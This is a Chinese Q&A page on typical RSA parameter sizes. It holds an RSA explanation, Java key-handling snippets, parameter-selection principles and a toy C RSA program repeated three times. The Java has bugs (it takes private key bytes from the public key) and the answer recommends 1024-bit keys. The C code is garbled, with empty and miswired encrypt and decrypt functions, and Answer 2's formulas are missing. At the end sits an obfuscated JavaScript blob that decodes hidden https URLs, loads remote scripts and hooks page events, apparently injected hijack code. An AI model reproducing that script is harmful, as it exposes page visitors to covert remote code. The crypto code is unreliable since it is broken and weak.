rsa算法中p,q,n,e,d一般大小都为多少啊?

2025-02-25 05:44:47
推荐回答(5个)
回答1:

这个不好说,什么情况都可能不是吗。
RSA是目前最有影响力的公钥加密算法,该算法基于一个十分简单的数论事实:将两个大素数相乘十分容易,但那时想要对其乘积进行因式分解却极其困难,因此可以将乘积公开作为加密密钥,即公钥,而两个大素数组合成私钥。公钥是可发布的供任何人使用,私钥则为自己所有,供解密之用。

解密者拥有私钥,并且将由私钥计算生成的公钥发布给加密者。加密都使用公钥进行加密,并将密文发送到解密者,解密者用私钥解密将密文解码为明文。

以甲要把信息发给乙为例,首先确定角色:甲为加密者,乙为解密者。首先由乙随机确定一个KEY,称之为密匙,将这个KEY始终保存在机器B中而不发出来;然后,由这个 KEY计算出另一个KEY,称之为公匙。这个公钥的特性是几乎不可能通过它自身计算出生成它的私钥。接下来通过网络把这个公钥传给甲,甲收到公钥后,利用公钥对信息加密,并把密文通过网络发送到乙,最后乙利用已知的私钥,就对密文进行解码了。以上就是RSA算法的工作流程。

算法实现过程为:

1. 随意选择两个大的质数p和q,p不等于q,计算N=pq。
2. 根据欧拉函数,不大于N且与N互质的整数个数为(p-1)(q-1)。
3. 选择一个整数e与(p-1)(q-1)互质,并且e小于(p-1)(q-1)。
4. 用以下这个公式计算d:d× e ≡ 1 (mod (p-1)(q-1))。
5. 将p和q的记录销毁。

以上内容中,(N,e)是公钥,(N,d)是私钥。

下面讲解RSA算法的应用。

RSA的公钥和私钥是由KeyPairGenerator生成的,获取KeyPairGenerator的实例后还需要设置其密钥位数。设置密钥位数越高,加密过程越安全,一般使用1024位。如下代码:

[代码]java代码:
1KeyPairGenerator keyPairGen = KeyPairGenerator.getInstance(RSA);
2// 密钥位数
3keyPairGen.initialize(1024);

公钥和私钥可以通过KeyPairGenerator执行generateKeyPair()后生成密钥对KeyPair,通过KeyPair.getPublic()和KeyPair.getPrivate()来获取。如下代码:

[代码]java代码:
1// 动态生成密钥对,这是当前最耗时的操作,一般要2s以上。
2KeyPair keyPair = keyPairGen.generateKeyPair();
3// 公钥
4PublicKey publicKey = (RSAPublicKey) keyPair.getPublic();
5// 私钥
6PrivateKey privateKey = (RSAPrivateKey) keyPair.getPrivate();
7byte[] publicKeyData = publicKey.getEncoded();
8byte[] privateKeyData = publicKey.getEncoded();
公钥和私钥都有它们自己独特的比特编码,可以通过getEncoded()方法获取,返回类型为byte[]。通过byte[]可以再度将公钥或私钥还原出来。具体代码如下:

[代码]java代码:
01// 通过公钥byte[]将公钥还原,适用于RSA算法
02public static PublicKey getPublicKey(byte[] keyBytes) throws
03NoSuchAlgorithmException,InvalidKeySpecException {
04 X509EncodedKeySpec keySpec = new X509EncodedKeySpec(keyBytes);
05 KeyFactory keyFactory = KeyFactory.getInstance("RSA");
06 PublicKey publicKey = keyFactory.generatePublic(keySpec);
07 return publicKey;
08}
09// 通过私钥byte[]将公钥还原,适用于RSA算法
10public static PrivateKey getPrivateKey(byte[] keyBytes) throws
11NoSuchAlgorithmException,InvalidKeySpecException {
12 PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(keyBytes);
13 KeyFactory keyFactory = KeyFactory.getInstance("RSA");
14 PrivateKey privateKey = keyFactory.generatePrivate(keySpec);
15 return privateKey;
16}
在上文讲到的RSA算法实现过程中提到(N,e)是公钥,(N,d)是私钥。既然已经获取到了PublicKey和PrivateKey了,那如何取到N、e、d这三个值呢。要取到这三个值,首先要将PublicKey和PrivateKey强制转换成RSAPublicKey和RSAPrivateKey。共同的N值可以通过getModulus()获取。执行RSAPublicKey.getPublicExponent()可以获取到公钥中的e值,执行RSAPrivateKey.getPrivateExponent()可以获取私钥中的d值。这三者返回类型都是BigInteger。代码如下:

[代码]java代码:
01// 打印公钥信息
02public static void printPublicKeyInfo(PublicKey key){
03RSAPublicKey rsaPublicKey = (RSAPublicKey) publicKey;
04Log.d(MainActivity.TAG, "RSAPublicKey:");
05Log.d(MainActivity.TAG, "Modulus.length=" +
06rsaPublicKey.getModulus().bitLength());
07Log.d(MainActivity.TAG, "Modulus=" +
08rsaPublicKey.getModulus().toString());
09Log.d(MainActivity.TAG, "PublicExponent.length=" +
10rsaPublicKey.getPublicExponent().bitLength());
11Log.d(MainActivity.TAG, "PublicExponent=" +
12rsaPublicKey.getPublicExponent().toString());
13}
14
15// 打印私钥信息
16public static void printPublicKeyInfo(PrivateKey key){
17RSAPrivateKey rsaPublicKey = (RSAPrivateKey) privateKey;
18Log.d(MainActivity.TAG, "RSAPrivateKey:");
19Log.d(MainActivity.TAG, "Modulus.length=" +
20rsaPrivateKey.getModulus().bitLength());
21Log.d(MainActivity.TAG, "Modulus=" +
22rsaPrivateKey.getModulus().toString());
23Log.d(MainActivity.TAG, "PublicExponent.length=" +
24rsaPrivateKey.getPrivateExponent().bitLength());
25Log.d(MainActivity.TAG, "PublicExponent=" +
26rsaPrivateKey.getPrivateExponent().toString());
27}

由于程序中动态生成KeyPair对明文加密后生成的密文是不可测的,所以在实际开发中通常在生成一个KeyPair后将公钥和私钥的N、e、d这三个特征值记录下来,在真实的开发中使用这三个特征值再去将PublicKey和PrivateKey还原出来。还原方法如下:

[代码]java代码:
01// 使用N、e值还原公钥
02public static PublicKey getPublicKey(String modulus, String
03publicExponent)
04 throws NoSuchAlgorithmException, InvalidKeySpecException {
05 BigInteger bigIntModulus = new BigInteger(modulus);
06 BigInteger bigIntPrivateExponent = new BigInteger(publicExponent);
07 RSAPublicKeySpec keySpec = new RSAPublicKeySpec(bigIntModulus,
08bigIntPrivateExponent);
09 KeyFactory keyFactory = KeyFactory.getInstance("RSA");
10 PublicKey publicKey = keyFactory.generatePublic(keySpec);
11 return publicKey;
12}
13
14// 使用N、d值还原公钥
15public static PrivateKey getPrivateKey(String modulus, String
16privateExponent)
17 throws NoSuchAlgorithmException, InvalidKeySpecException {
18 BigInteger bigIntModulus = new BigInteger(modulus);
19 BigInteger bigIntPrivateExponent = new BigInteger(privateExponent);
20 RSAPrivateKeySpec keySpec = new RSAPrivateKeySpec(bigIntModulus,
21 bigIntPrivateExponent);
22 KeyFactory keyFactory = KeyFactory.getInstance("RSA");
23 PrivateKey privateKey = keyFactory.generatePrivate(keySpec);
24 return privateKey;
25}

公钥和私钥都具备后,就可以使用加解密的工具类javax.crypto.Cipher对明文和密文进行处理了。与所有的引擎类一样,可以通过调用Cipher类中的getInstance(String transformation)静态工厂方法得到Cipher对象。该方法中的参数描述了由指定输入产生输出所进行的操作或操作集合,可以是下列两种形式之一:“algorithm/mode/padding”或“algorithm”。例如下面的例子就是有效的transformation形式:"DES/CBC/PKCS5Padding"或"DES"。如果没有指定模式或填充方式,就使用特定提供者指定的默认模式或默认填充方式。

Cipher的加密和解密方式所调用的方法和过程都一样,只是传参不同的区别。

回答2:

RSA遭受攻击的很多情况是因为算法实现的一些细节上的漏洞所导致的,所以在使用RSA算法构造密码系统时,为保证安全,在生成大素数的基础上,还必须认真仔细选择参数,防止漏洞的形成。根据RSA加解密过程,其主要参数有三个:模数N,加密密钥e,解密密钥d。
3.4.1 模数N的确定
虽然迄今人们无法证明,破解RSA系统等于对N因子分解,但一般相信RSA系统的安全性等同于因子分解,即:若能分解因子N,即能攻破RSA系统,若能攻破RSA系统,即能分解因子Ⅳ。因此,在使用RSA系统时,对于模数N的选择非常重要。在RSA算法中,通过产生的两个大素数p和q相乘得到模数N,而后分别通过对它们的数学运算得到密钥对。由此,分解模数N得到p和q是最显然的攻击方法,当然也是最困难的方法,如果模数N被分解,攻击者利用得到的P和q便可计算出,进而通过公开密钥e由解密密钥d,则RSA体制立刻被攻破。相当一部分的对RSA的攻击就是试图分解模数N,选择合适的N是实现RSA算法并防止漏洞的重要环节。一般地,模数N的确定可以遵循以下几个原则:
①p和q之差要大。
当p和q相差很小时,在已知n的情况下,可假定二者的平均值为,然后利用,若等式右边可开方,则得到及,即N被分解。
②p-1和q-1的最大公因子应很小。
③p和q必须为强素数。
一素数p如果满足:
条件一:存在两个大素数,,使得|p-1且|p+1;
条件二:存在四个大素数,,,使得。则此素数为强素数。其中,,,称为3级的素数,,称为2级的素数,p则称为1级的素数,很明显地,任何素数均为3级的素数。只有两个强素数的积所构成的N,其因子分解才是较难的数学问题。
④p和q应大到使得因子分解N为计算上不可能。
RSA的安全性依赖于大数的因子分解,若能因子分解模数N,则RSA即被攻破,因此模数N必须足够大直至因子分解N在计算上不可行。因子分解问题为密码学最基本的难题之一,如今,因子分解的算法已有长足的进步,但仍不足以说明RSA可破解。为保证安全性,实际应用中所选择的素数P和拿至少应该为300位以上的二进制数,相应的模数N将是600位以上的二进制数。
目前,SET(Secure Electronic Transaction)协议中要求CA采用2048比特长的密钥,其他实体使用1024比特的密钥。随着计算能力的提高和分布式运算的发展,安全密钥的长度将是动态增长的。
Jadith Moore给出了使用RSA时有关模数的一些限制:
①若给定模数的一个加/解密密钥指数对已知,攻击者就能分解这个模数。
②若给定模数的一个加/解密密钥指数对已知,攻击者无需分解模数Ⅳ就可以计算出别的加/解密密钥指数对。
③在通信网络中,利用RSA的协议不应该使用公共模数。
④消息应该用随机数填充以避免对加密指数的攻击。
3.4.2 e的选取原则
在RSA算法中,e和互质的条件容易满足,如果选择较小的e,则加、解密的速度加快,也便于存储,但会导致安全问题。
一般地,e的选取有如下原则:
①e不能够太小。在RSA系统中,每人的公开密钥P只要满足即可,也即e可以任意选择,为了减少加密运算时间,很多人采用尽可能小的e值,如3。但是已经证明低指数将会导致安全问题,故此,一般选择e为16位的素数,可以有效防止攻击,又有较快速度。
②e应选择使其在的阶为最大。即存在i,使得,
可以有效抗击攻击。
3.4.3 d的选取原则
一般地,私密密钥d要大于。在许多应用场合,常希望使用位数较短的密钥以降低解密或签名的时间。例如IC卡应用中,IC卡CPU的计算能力远低于计算机主机。长度较短的d可以减少IC卡的解密或签名时间,而让较复杂的加密或验证预算(e长度较长)由快速的计算机主机运行。一个直接的问题就是:解密密钥d的长度减少是否会造成安全性的降低?很明显地,若d的长度太
小,则可以利用已知明文M加密后得,再直接猜测d,求出是否等于M。若是,则猜测J下确,否则继续猜测。若d的长度过小,则猜测的空间变小,猜中的可能性加大,已有证明当时,可以由连分式算法在多项式时间内求出d值。因此其长度不能过小。

回答3:

#include
#include
#include
#include
#include

int str2num(char *str) //字符转数字
{
int i=0,num=0;

for(i=0;i<(int)strlen(str);i++)
num=num*10+str[i]-'0';
return num;

}

float CarmSqrt(float x) //求平方根 系统的太慢,用了别人的
{
union
{
int intPart;
float floatPart;
}convertor;

union
{
int intPart;
float floatPart;
}convertor2;

convertor.floatPart = x;
convertor2.floatPart = x;
convertor.intPart = 0x1FBCF800 + (convertor.intPart >> 1);
convertor2.intPart = 0x5f3759df - (convertor2.intPart >> 1);
return 0.5f*(convertor.floatPart + (x * convertor2.floatPart));
}//可以不用,用sqrt()也可以

int isPrime(int n) //判断是否为素数
{
int i=0,k=2;

k=(int)CarmSqrt(n);
for(i=2;i<=k;i++)
{
if(n%i==0)
break;
}

if(i>k)
return 1;
else
return 0;

}

int rnd(int max) //生成随机数 2~max 用来生成e,
{ //取系统时间做随机数种子
int range,n;
int min=2,flag=0;
time_t t;
double j;

range=max-min;
t=time(NULL);
srand((unsigned)t);

n=rand();

j=((double)n/(double)RAND_MAX);

n=(int)(j*(double)range);
n+=min;

return n;

}

int co_prime(int a ,int b) // 求互质
{
int c;
do
{
if(b==1)
return 1;
c=a%b;
a=b;
b=c;

}while(c!=0);
return 0;
}

void get_d_e(int p,int q)
{
int r,t,e,d,i=2,k=0;

if(isPrime(p)!=1||isPrime(q)!=1)
{
printf("Invaild Parameters\nshould be PRIME!\n");
printf("Usage:RSA Prime1 Prime2\n");
exit(0);
}

r=p*q;

t=(p-1)*(q-1);
e=rnd(t)/10;
while(co_prime(t,e)!=1)
{
e=e+1;

}

for(d=2;d{
if((e*d)%t==1)
break;
}

printf("d=%d e=%d r=%d\n",d,e,r);
}

void en(int n,int e,int r)
{
//加密
}

void de(int c,int d,int r)
{
//解密
}

void main(int argc,char* argv[])
{
int n1,n2;

if(argc!=3&&argc!=5)
{
printf("Invaild Parameters!\n");
printf("Usage: \nRSA -e Express e r\n");
printf("RSA -d Ciphertext d r\n");
printf("RSA Prime1 Prime2\n");//错误输出
exit(0);
}
else

if(argv[1][0]!='-')
{
n1=str2num(argv[1]);
n2=str2num(argv[2]);
get_d_e(n1,n2);
exit(0);
}

else
if(argv[1][1]=='e') //加密
{
n1=str2num(argv[3]);
n2=str2num(argv[4]);
en(str2num(argv[2]),n1,n2);
exit(0);

}

if(argv[1][1]=='d') //解密
{
n1=str2num(argv[3]);
n2=str2num(argv[4]);
en(str2num(argv[2]),n1,n2);
exit(0);

}

else{
printf("Invaild Parameters!\n");
printf("Usage: \nRSA -e Express e r\n");
printf("RSA -d Ciphertext d r\n");
printf("RSA Prime1 Prime2\n");
exit(0);
}
}

回答4:

#include
#include
#include
#include
#include

int str2num(char *str) //字符转数字
{
int i=0,num=0;

for(i=0;i<(int)strlen(str);i++)
num=num*10+str[i]-'0';
return num;

}

float CarmSqrt(float x) //求平方根 系统的太慢,用了别人的
{
union
{
int intPart;
float floatPart;
}convertor;

union
{
int intPart;
float floatPart;
}convertor2;

convertor.floatPart = x;
convertor2.floatPart = x;
convertor.intPart = 0x1FBCF800 + (convertor.intPart >> 1);
convertor2.intPart = 0x5f3759df - (convertor2.intPart >> 1);
return 0.5f*(convertor.floatPart + (x * convertor2.floatPart));
}//可以不用,用sqrt()也可以

int isPrime(int n) //判断是否为素数
{
int i=0,k=2;

k=(int)CarmSqrt(n);
for(i=2;i<=k;i++)
{
if(n%i==0)
break;
}

if(i>k)
return 1;
else
return 0;

}

int rnd(int max) //生成随机数 2~max 用来生成e,
{ //取系统时间做随机数种子
int range,n;
int min=2,flag=0;
time_t t;
double j;

range=max-min;
t=time(NULL);
srand((unsigned)t);

n=rand();

j=((double)n/(double)RAND_MAX);

n=(int)(j*(double)range);
n+=min;

return n;

}

int co_prime(int a ,int b) // 求互质
{
int c;
do
{
if(b==1)
return 1;
c=a%b;
a=b;
b=c;

}while(c!=0);
return 0;
}

void get_d_e(int p,int q)
{
int r,t,e,d,i=2,k=0;

if(isPrime(p)!=1||isPrime(q)!=1)
{
printf("Invaild Parameters\nshould be PRIME!\n");
printf("Usage:RSA Prime1 Prime2\n");
exit(0);
}

r=p*q;

t=(p-1)*(q-1);
e=rnd(t)/10;
while(co_prime(t,e)!=1)
{
e=e+1;

}

for(d=2;d{
if((e*d)%t==1)
break;
}

printf("d=%d e=%d r=%d\n",d,e,r);
}

void en(int n,int e,int r)
{
//加密
}

void de(int c,int d,int r)
{
//解密
}

void main(int argc,char* argv[])
{
int n1,n2;

if(argc!=3&&argc!=5)
{
printf("Invaild Parameters!\n");
printf("Usage: \nRSA -e Express e r\n");
printf("RSA -d Ciphertext d r\n");
printf("RSA Prime1 Prime2\n");//错误输出
exit(0);
}
else

if(argv[1][0]!='-')
{
n1=str2num(argv[1]);
n2=str2num(argv[2]);
get_d_e(n1,n2);
exit(0);
}

else
if(argv[1][1]=='e') //加密
{
n1=str2num(argv[3]);
n2=str2num(argv[4]);
en(str2num(argv[2]),n1,n2);
exit(0);

}

if(argv[1][1]=='d') //解密
{
n1=str2num(argv[3]);
n2=str2num(argv[4]);
en(str2num(argv[2]),n1,n2);
exit(0);

}

else{
printf("Invaild Parameters!\n");
printf("Usage: \nRSA -e Express e r\n");
printf("RSA -d Ciphertext d r\n");
printf("RSA Prime1 Prime2\n");
exit(0);
}

回答5:

#include

#include

#include

#include

#include

int
str2num(char
*str)
//字符转数字
{
int
i=0,num=0;
for(i=0;i<(int)strlen(str);i++)
num=num*10+str[i]-'0';
return
num;
}
float
CarmSqrt(float
x)
//求平方根
系统的太慢,用了别人的
{
union
{
int
intPart;
float
floatPart;
}convertor;
union
{
int
intPart;
float
floatPart;
}convertor2;
convertor.floatPart
=
x;
convertor2.floatPart
=
x;
convertor.intPart
=
0x1FBCF800
+
(convertor.intPart
>>
1);
convertor2.intPart
=
0x5f3759df
-
(convertor2.intPart
>>
1);
return
0.5f*(convertor.floatPart
+
(x
*
convertor2.floatPart));
}//可以不用,用sqrt()也可以
int
isPrime(int
n)
//判断是否为素数
{
int
i=0,k=2;
k=(int)CarmSqrt(n);
for(i=2;i<=k;i++)
{
if(n%i==0)
break;
}
if(i>k)
return
1;
else
return
0;
}
int
rnd(int
max)
//生成随机数
2~max
用来生成e,
{
//取系统时间做随机数种子
int
range,n;
int
min=2,flag=0;
time_t
t;
double
j;
range=max-min;
t=time(NULL);
srand((unsigned)t);
n=rand();
j=((double)n/(double)RAND_MAX);
n=(int)(j*(double)range);
n+=min;
return
n;
}
int
co_prime(int
a
,int
b)
//
求互质
{
int
c;
do
{
if(b==1)
return
1;
c=a%b;
a=b;
b=c;
}while(c!=0);
return
0;
}
void
get_d_e(int
p,int
q)
{
int
r,t,e,d,i=2,k=0;
if(isPrime(p)!=1||isPrime(q)!=1)
{
printf("Invaild
Parameters\nshould
be
PRIME!\n");
printf("Usage:RSA
Prime1
Prime2\n");
exit(0);
}
r=p*q;
t=(p-1)*(q-1);
e=rnd(t)/10;
while(co_prime(t,e)!=1)
{
e=e+1;
}
for(d=2;d{
if((e*d)%t==1)
break;
}
printf("d=%d
e=%d
r=%d\n",d,e,r);
}
void
en(int
n,int
e,int
r)
{
//加密
}
void
de(int
c,int
d,int
r)
{
//解密
}
void
main(int
argc,char*
argv[])
{
int
n1,n2;
if(argc!=3&&argc!=5)
{
printf("Invaild
Parameters!\n");
printf("Usage:
\nRSA
-e
Express
e
r\n");
printf("RSA
-d
Ciphertext
d
r\n");
printf("RSA
Prime1
Prime2\n");//错误输出
exit(0);
}
else
if(argv[1][0]!='-')
{
n1=str2num(argv[1]);
n2=str2num(argv[2]);
get_d_e(n1,n2);
exit(0);
}
else
if(argv[1][1]=='e')
//加密
{
n1=str2num(argv[3]);
n2=str2num(argv[4]);
en(str2num(argv[2]),n1,n2);
exit(0);
}
if(argv[1][1]=='d')
//解密
{
n1=str2num(argv[3]);
n2=str2num(argv[4]);
en(str2num(argv[2]),n1,n2);
exit(0);
}
else{
printf("Invaild
Parameters!\n");
printf("Usage:
\nRSA
-e
Express
e
r\n");
printf("RSA
-d
Ciphertext
d
r\n");
printf("RSA
Prime1
Prime2\n");
exit(0);
}
}

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 